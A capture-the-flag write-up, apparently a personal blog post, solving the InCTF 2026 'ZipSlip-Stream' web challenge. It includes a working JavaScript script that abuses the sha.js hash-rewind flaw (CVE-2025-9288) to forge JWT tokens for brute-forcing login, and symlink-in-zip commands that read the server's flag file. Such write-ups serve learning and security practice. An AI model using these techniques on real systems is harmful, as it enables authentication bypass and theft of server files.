ZipSlip-Stream WriteUp | InCTF 2026 CTF Finals | First and Only Blood
Introduction
This challenge felt tough. Even though I was the only person who solved this challenge, it's also the case that this is the only challenge I was able to solve in 8 hours.
Since there were special protections against the use of AI and LLMs, it felt especially good after solving this challenge.
Okay, so let's start without further ado,
Source code
https://drive.google.com/file/d/1AFEC93XON668Gq5I8eoVTy1gRgTpvN58/view?usp=sharing
Understanding the application
We are given source code of a web application. We can build it locally using docker.

By reading through the source code and playing with the website, we can understand a couple of things:
There's functionality to log-in but no sign-up.
Only authenticated users (logged in) can upload files.
Since the flag is in the filesystem and there is no route in the application that interacts with the flag, we probably need RCE or some sort of LFI.
Subtask 1: Log-in somehow, anyhow!
It's pretty clear we need to be authenticated to do anything in this application. But there's no way for us to sign-up or register in the application and the admin's password is random and there's no way we can guess it.
So we need to dig deeper.
CVE CVE-2025-9288 | sha.js hash rewind
If you try to audit the package versions inside package.json, you'll quickly find that sha.js which uses 2.4.10 has a critical vulnerability.
You can read more about this vulnerability on it's github advisory: https://github.com/advisories/GHSA-95m3-7q98-8xr5
This CVE can be little bit tricky to understand if you are seeing anything like this for the first time, like me.
You should ideally play around with it and try to understand it yourself, but let me give you the gist of it.
We can pass specially crafted data to the library's update function which triggers something known as a hash rewind.
For example, this is how it's normally supposed to be:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
But if we do,
> require('sha.js')('sha256').update('foobar').update({ length: -3 }).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Notice how we get the same hashes in both the examples even though the data entered is different?
The CVE is that we can pass data of type Object like { length: -offset } and it will rewind the hash function's internal state back by offset times which may cause undefined behavior or hash collisions like in our case.
We can even DOS the server by using this technique but it's not useful in our case.
Now, an even harder challenge is to figure out how you could use this to login to the application. I spent 2-3 hours at this step.
If we can travel to the past, let's also try to visit the future
This line is the reason for our whole suffering:
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);
We don't know what secret is. So we can never make expectedSignatureHex to be equal to our own created JWT signature.
After a lot of thinking and trail-and-error, I figured out I could also bite off the signature part in my hash rewind.
> require('sha.js')('sha256').update('foo').update({ length: -5 }).update('xyz').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'
> require('sha.js')('sha256').update('z').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'
Note how I did the -5 in the 1st command and it skipped "xy" and we get the hash for "z" only. We traveled to the future.
We can use this trick to skip the entire secret except the last character. The last character can be one of the 16 hex characters.
const JWT_SECRET = crypto.randomBytes(9).toString('hex');
It will be 18 characters, 9 * 2 = 18.
Therefore, we can craft a brute-force attack with our hash rewind payload. We need to pass the hashes of all the 16 hex characters in the JWT signature and one of them will match and the authentication will be successful.
This is the JS script which will give you all the 16 possible JWT tokens:
const sha = require('sha.js');
const HEADER = { alg: 'HS256' };
const HEADER_json_str_len = JSON.stringify(HEADER).length;
const PAYLOAD = { length: -(HEADER_json_str_len + 18) + 1, exp: Math.floor(Date.now() / 1000) + 100000 };
const CHARSET = '0123456789abcdef';
function genSig(c) {
const hash = sha('sha256');
return hash.update(c).digest('hex');
}
for (let i=0; i < 16; i++) {
const c = CHARSET[i];
const sig = genSig(c);
const jwt = btoa(JSON.stringify(HEADER)) + "." + btoa(JSON.stringify(PAYLOAD)) + "." + sig;
console.log(jwt);
}
Then you can use Burp intruder and pass these tokens in the cookies (cookie name is keycode_signal) and you'll find one of them works.

Subtask 2: ZipSlip??
Now we can upload some files. Since the name of the challenge is "ZipSlip-Stream", you might try the simple ZipSlip but it won't work.
And it will be obvious why it won't work because the Dockerfile installs the latest version of unzip which is 99.99% NOT VULNERABLE to ZipSlip
RUN apt-get update \
&& apt-get install -y unzip \
&& rm -rf /var/lib/apt/lists/*
To be honest, I required a hint at this point by the challenge author.
So the answer is.....
Symlink LFI
You will realize we aren't just limited to uploading zip files. But uploading a web shell won't work since this is an express server.
So we can exfiltrate the flag using a symlink file. But the important part is to keep the symlink inside the zip file.
We know the exact location of the flag, it's in root.
So we do
ln -s ../../../../../../../../../../flag evil
zip -y evil.zip evil
Then we upload this zip file (make sure to keep the name as "zip" to bypass the regex) and BOOM! We can download the flag by visiting our uploaded file. (/uploads/<some_hex>/evil)
If you have any doubts, feel free to put them in the comment section of this blog :)
Thank you,
Ojas